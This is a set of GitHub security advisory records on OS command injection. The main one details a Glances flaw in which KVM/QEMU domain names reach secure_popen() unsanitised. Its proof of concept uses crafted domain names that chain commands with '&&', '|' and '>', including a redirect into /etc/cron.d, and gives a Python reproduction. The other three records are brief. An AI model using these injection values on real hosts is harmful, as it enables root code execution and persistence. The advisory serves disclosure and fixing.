  "details": "### Summary\n\nThe Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `\u0026\u0026`, `|`, and `\u003e` as shell operators.  Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances \u2014 commonly root on hypervisor hosts.\n\n---\n\n### Details\n\n**Affected file:** `glances/plugins/vms/engines/virsh.py`\n\n**Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204\n\nThe vulnerable calls are on lines 185 and 204:\n\n```python\n# line 185  (update_stats)\nret_cmd = secure_popen(f\u0027{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}\u0027)\n\n# line 204  (update_title)\nret_cmd = secure_popen(f\u0027{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}\u0027)\n```\n\n`domain` is the name string parsed from the output of `virsh list --all` (line 59\u201378 in the same file); no sanitisation is applied to it at  any point before it reaches `secure_popen()`.\n\n`secure_popen()` is defined in `glances/secure.py`.  It explicitly splits the command string on `\u0026\u0026`, `|`, and `\u003e` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters:\n\n```python\n# glances/secure.py\ndef secure_popen(cmd):\n    ret = \u0027\u0027\n    for c in cmd.split(\u0027\u0026\u0026\u0027):        # \u0027\u0026\u0026\u0027 \u2192 two separate processes\n        ret += __secure_popen(c)\n    return ret\n\ndef __secure_popen(cmd):\n    for sub_cmd in cmd.split(\u0027|\u0027):   # \u0027|\u0027 \u2192 stdin/stdout piped\n        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)\n    # \u0027\u003e\u0027 is split separately for file redirection\n```\n\nBy contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`.  The `vms` plugin applies no such protection.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nAll three injection operators were verified:\n\n| Operator | Effect | Confirmed |\n|----------|--------|-----------|\n| `\u0026\u0026`     | Second command executes after the virsh call | Yes |\n| `\\|`     | Output of virsh piped to injected command    | Yes |\n| `\u003e`      | virsh output redirected to arbitrary file    | Yes |\n\n---\n\n### PoC\n\n**Special configuration required**\n\n* Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable.\n* The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on  Ubuntu/Debian/Fedora, or a cloud-platform tenant account).\n* No custom `glances.conf` settings are needed beyond a working virsh setup.\n\n**Step 1 \u2014 Create a VM with a crafted domain name**\n\nUsing the `\u0026\u0026` operator to chain a second command:\n\n```xml\n\u003cdomain type=\"kvm\"\u003e\n  \u003cname\u003eproductionDB \u0026amp;\u0026amp; touch /tmp/glances_pwned\u003c/name\u003e\n  \u003cmemory\u003e131072\u003c/memory\u003e\n  \u003cvcpu\u003e1\u003c/vcpu\u003e\n  \u003cos\u003e\u003ctype arch=\"x86_64\"\u003ehvm\u003c/type\u003e\u003c/os\u003e\n\u003c/domain\u003e\n```\n\n```bash\nvirsh define evil-domain.xml\n```\n\n**Step 2 \u2014 Start Glances with KVM monitoring enabled**\n\n```bash\nglances                # or: glances -s / glances -w\n```\n\nOn the next monitoring cycle Glances calls:\n\n```\nvirsh domstats --nowait \"productionDB \u0026\u0026 touch /tmp/glances_pwned\"\n```\n\nwhich `secure_popen()` splits into two processes:\n1. `virsh domstats --nowait productionDB`\n2. `touch /tmp/glances_pwned`\n\n**Step 3 \u2014 Verify execution**\n\n```bash\nls -la /tmp/glances_pwned   # file will exist, owned by the Glances user\n```\n\n**Pipe injection (`|`) example**\n\nDomain name: `\"productionDB | tee /tmp/virsh_output_stolen.txt\"`\n\nThe output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path.\n\n**File-write injection (`\u003e`) example**\n\nDomain name: `\"productionDB \u003e /etc/cron.d/glances_backdoor\"`\n\nThe virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.\n\n**Minimal Python reproduction (no VM required)**\n\n```python\nimport sys\nsys.path.insert(0, \u0027/path/to/glances\u0027)   # adjust to local clone\nfrom glances.secure import secure_popen\n\n# Simulates the exact call in virsh.py line 185\ndomain = \u0027productionDB \u0026\u0026 id\u0027\nresult = secure_popen(f\u0027/bin/echo domstats --nowait {domain}\u0027)\nprint(result)\n# Output will include two lines: the echo output AND the output of `id`\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Command Injection (CWE-78)\n\n**Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active.  Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights \u2014 a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs.\n\n**Impact:**\n- **Confidentiality:** Full \u2014 arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.\n- **Integrity:** Full \u2014 file-write injection (`\u003e`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).\n- **Availability:** Full \u2014 the Glances process can be terminated or the host disrupted through the injected commands.\n\nIn cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.\n\n---\n\n### Suggested Fix\n\nReplace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`\u0027s operator splitting logic:\n\n```python\n# virsh.py \u2014 replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE\n\nresult = run(\n    [VIRSH_PATH, \u0027domstats\u0027, \u0027--nowait\u0027, domain],\n    stdout=PIPE, stderr=PIPE, timeout=5\n)\n```\n\nAlternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `\u0026\u0026`, `|`, `\u003e`, `;`, and backtick characters from string values.\n\nAs a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members\nof the AFINE Team.\n\n---",
  "id": "GHSA-v5r2-qh84-fjx5",
  "modified": "2026-06-22T21:14:06Z",
  "published": "2026-06-22T21:14:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-0854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-12T06:16:11Z",
    "severity": "HIGH"
  },
  "details": "Certain DVR/NVR models developed by Merit LILIN has a OS Command Injection vulnerability, allowing authenticated remote attackers to inject arbitrary OS commands and execute them on the device.",
  "id": "GHSA-v5x6-vvfr-6v34",
  "modified": "2026-01-12T06:30:14Z",
  "published": "2026-01-12T06:30:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0854"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-10623-4f523-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-10624-6599c-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-3210"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-03T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the CLI parsers of Cisco IOS Software for Cisco 809 and 829 Industrial Integrated Services Routers (Industrial ISRs) and Cisco 1000 Series Connected Grid Routers (CGR1000) could allow an authenticated, local attacker to execute arbitrary shell commands on the Virtual Device Server (VDS) of an affected device. The attacker must have valid user credentials at privilege level 15. The vulnerability is due to insufficient validation of arguments that are passed to specific VDS-related CLI commands. An attacker could exploit this vulnerability by authenticating to the targeted device and including malicious input as the argument of an affected command. A successful exploit could allow the attacker to execute arbitrary commands in the context of the Linux shell of VDS with the privileges of the root user.",
  "id": "GHSA-v5xr-cpv8-m8mv",
  "modified": "2024-04-04T02:52:00Z",
  "published": "2022-05-24T17:19:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3210"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ios-iot-vds-cmd-inj-VfJtqGhE"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-64120"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-02T22:15:44Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) vulnerability in Nuvation Energy Multi-Stack Controller (MSC) allows OS Command Injection.This issue affects Multi-Stack Controller (MSC): from 2.3.8 before 2.5.1.",
  "id": "GHSA-v668-5qxg-qhjh",
  "modified": "2026-02-26T21:31:25Z",
  "published": "2026-01-03T00:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64120"
    },
    {
      "type": "WEB",
      "url": "https://www.dragos.com/community/advisories/CVE-2025-64119"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:I/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}